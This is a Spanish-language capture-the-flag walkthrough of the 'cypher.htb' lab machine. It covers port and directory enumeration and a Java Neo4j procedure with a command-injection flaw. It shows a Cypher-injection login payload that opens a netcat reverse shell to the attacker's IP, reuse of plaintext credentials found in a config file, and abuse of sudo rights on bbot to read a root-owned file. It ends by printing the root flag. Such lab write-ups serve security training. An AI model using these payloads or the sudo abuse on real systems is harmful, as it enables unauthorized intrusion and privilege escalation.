1. Escaneo de puertos tcp
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_ 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
2- Enumeración y escalado
Enumeramos con Gobuster posibles directorios o endpoints de la aplicación:
/index (Status: 200) [Size: 4562]
/about (Status: 200) [Size: 4986]
/login (Status: 200) [Size: 3671]
/demo (Status: 307) [Size: 0] [--> /login]
/api (Status: 307) [Size: 0] [--> /api/docs]
/testing (Status: 301) [Size: 178] [--> http://cypher.htb/testing/]
Si nos dirigimos a la pagina testing, vemos que podemos descargar el archivo custom-apoc-extension-1.0-SNAPSHOT.jar
, en el que basicamente podemos ver la siguiente función:
public class CustomFunctions {
@Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ)
@Description("Returns the HTTP status code for the given URL as a string")
public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://"))
url = "https://" + url;
String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };
System.out.println("Command: " + Arrays.toString((Object[])command));
Process process = Runtime.getRuntime().exec(command);
BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
StringBuilder errorOutput = new StringBuilder();
String line;
while ((line = errorReader.readLine()) != null)
errorOutput.append(line).append("\n");
String statusCode = inputReader.readLine();
System.out.println("Status code: " + statusCode);
boolean exited = process.waitFor(10L, TimeUnit.SECONDS);
if (!exited) {
process.destroyForcibly();
statusCode = "0";
System.err.println("Process timed out after 10 seconds");
} else {
int exitCode = process.exitValue();
if (exitCode != 0) {
statusCode = "0";
System.err.println("Process exited with code " + exitCode);
}
}
if (errorOutput.length() > 0)
System.err.println("Error output:\n" + errorOutput.toString());
return Stream.of(new StringOutput(statusCode));
}
public static class StringOutput {
public String statusCode;
public StringOutput(String statusCode) {
this.statusCode = statusCode;
}
}
}
Ahora si en la API realizamos un descubrimiento de endpoints, descubrimos que existe uno llamado /api/auth
, en el que se realiza una peticiónn POST, de la siguiente manera:
POST /api/auth HTTP/1.1
Host: cypher.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 39
{"username":"test",
"password":"test"}
Por lo que podemos ver, dicha aplicación utiliza neo4j, y buscando por internet descubrimos que existe un exploit para poder ejecutar código aprovechando una vulnerbilidad de inyección de código. Siguiéndolo, podemos ejecutar una revershell lanzando la siguiente petición:
# nc -lvnp 9001
Y la petición:
POST /api/auth HTTP/1.1
Host: cypher.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 192
{"username":"a' return h.value as a UNION CALL custom.getUrlStatusCode(\"http://10.10.14.67:80;busybox nc 10.10.14.67 9001 -e sh;#\") YIELD statusCode AS a RETURN a;// ","password":"password"}
Obteniendo así una shell en el equipo como el usuario neo4j.
3. Movimiento lateral
Podemos listar el contenido del directorio "home" del usuario graphasm y en el podemos ver un archivo llamado bbot_preset.yml
, con el siguiente contenido:
targets:
- ecorp.htb
output_dir: /home/graphasm/bbot_scans
config:
modules:
neo4j:
username: neo4j
password: cU4btyib.20xtCMCXkBmerhK
Probamos a iniciar sesion con el usuario graphasm y dichas credenciales graphasm:cU4btyib.20xtCMCXkBmerhK
, y observamos como damos conseguido acceso, obteniendo así la flag de usuario.
4. Escalado de privilegios
Podemos ver si el usuario graphasm tiene algún privilegio a nivel de sudoers, ejecutando para ello sudo -l
y descubriendo lo siguiente:
Matching Defaults entries for graphasm on cypher:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User graphasm may run the following commands on cypher:
(ALL) NOPASSWD: /usr/local/bin/bbot
Vemos que bbot se trata de una especie de herramienta de osint. Si lanzamos # sudo bbot -h
, nos lista los comandos posibles, y vemos que tiene la siguiente opción:
-c [CONFIG ...], --config [CONFIG ...]
Custom config options in key=value format: e.g. 'modules.shodan.api_key=1234'
Es decir, nos permite cargar un archivo de configuración, y en consecuencia leerlo. Por lo que si cargamos el archivo /root/root.txt
, y de algún modo nos lista su contenido en los logs o en la salida de dicha aplicación, podremos obtener la flag.
Revisando entre las opciones vemos una flag "-d" para activar el modo debug, y una flag --dry-run
que hace Abort before executing scan
. Por lo que lanzamos el siguiente comando:
# sudo /usr/local/bin/bbot -cy /root/root.txt -d --dry-run
Y vemos que obtenemos la flag de root, printeada en la salida de la herramienta:
[DBUG] internal.excavate: Including Submodule NonHttpSchemeExtractor
[DBUG] internal.excavate: Including Submodule ParameterExtractor
[DBUG] internal.excavate: Parameter Extraction disabled because no modules consume WEB_PARAMETER events
[DBUG] internal.excavate: Including Submodule SerializationExtractor
[DBUG] internal.excavate: Including Submodule URLExtractor
[DBUG] internal.excavate: Successfully loaded custom yara rules file [/root/root.txt]
[DBUG] internal.excavate: Final combined yara rule contents: 837975ff0f6abd3cc6e961627dd8fa20